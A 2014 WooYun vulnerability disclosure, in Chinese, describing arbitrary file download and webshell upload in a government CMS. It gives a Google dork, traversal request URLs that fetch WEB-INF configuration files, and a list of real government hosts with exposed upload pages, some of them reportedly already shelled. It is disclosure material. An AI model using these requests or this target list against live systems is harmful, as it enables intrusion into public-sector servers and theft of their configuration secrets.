漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-068728
漏洞标题：某政府通用CMS任意文件下载导致webshell
相关厂商：www.mzgtzy.gov.cn
漏洞作者： 小川
提交时间：2014-07-16 16:13
修复时间：2014-08-30 16:14
公开时间：2014-08-30 16:14
漏洞类型：任意文件遍历/下载
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-07-16： 细节已通知厂商并且等待厂商处理中
2014-07-21： 厂商已经确认，细节仅向厂商公开
2014-07-31： 细节向核心白帽子及相关领域专家公开
2014-08-10： 细节向普通白帽子公开
2014-08-20： 细节向实习白帽子公开
2014-08-30： 细节向公众公开
简要描述：
任意文件下载导致敏感信息泄露，后台越权访问，任意文件上传
详细说明：
漏洞证明：
google搜索找到的任意文件下载：inurl:upload/FileDownload.jsp
下载任意文件请求案例：
http://www.mzgtzy.gov.cn/cmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/FileDownload.jsp?id=020010040000092515&filepath=/WEB-INF/web.xml&downloadName=web.xml
通过百度搜索存在任意文件上传影响的站点：
http://www.gdlr.gov.cn/cms/weblawcase/impList.jsp (已经有人上传过jsp,不是我干的)
http://gtzyj.maoming.gov.cn/cms/weblawcase/impList.jsp
http://www.mzgtzy.gov.cn/cms/weblawcase/impList.jsp (这是我干的，请center验证后删除)
http://www.zqgtzy.gov.cn/cms/weblawcase/impList.jsp
都是mzgtzy的子域名，一个发布系统控制的。
http://fs.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://wh.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://xn.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://py.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://pl.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://mx.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://gl.mzgtzy.gov.cn/cms/weblawcase/impList.jsp
http://www.gdbsm.gov.cn/cms/weblawcase/impList.jsp
http://210.76.65.158/cms/weblawcase/impList.jsp
http://www.gddzxh.com/cms/weblawcase/impList.jsp
http://218.15.221.42/cms/weblawcase/impList.jsp
http://gddzxh.com/cms/weblawcase/impList.jsp
http://www.gdlric.gov.cn:8090/cms/weblawcase/impList.jsp
http://jyj.gzgtzy.gov.cn/cmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/FileDownload.jsp?id=025010550000000432&filepath=WEB-INF/config/applicationContexts-cms.xml&downloadName=web.xml(有任意文件下载漏洞，但是没找到上传)
http://www.hytudi.com/cmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/FileDownload.jsp?id=025010550000000432&filepath=WEB-INF/config/applicationContexts-cms.xml&downloadName=web.xml(有任意文件下载漏洞，但是没找到上传)
http://www.gdrsgis.org:8720/cms/weblawcase/impList.jsp
http://210.76.70.142/cms/weblawcase/impList.jsp（已经被某人上传了shell）
修复方案：
限制下载的目录，上传文件格式限制，后台各个页面有很多越权访问，请屏蔽
版权声明：转载请注明来源 小川@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-07-21 09:42
厂商回复：
最新状态：
暂无
漏洞评价：
评论
-
@老和尚 能得到大师的关注，小僧甚是光荣，但是大师，cncert去审核你那1000多个注入去了，还哪有时间看我的洞啊，还请大师手下留情。
( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)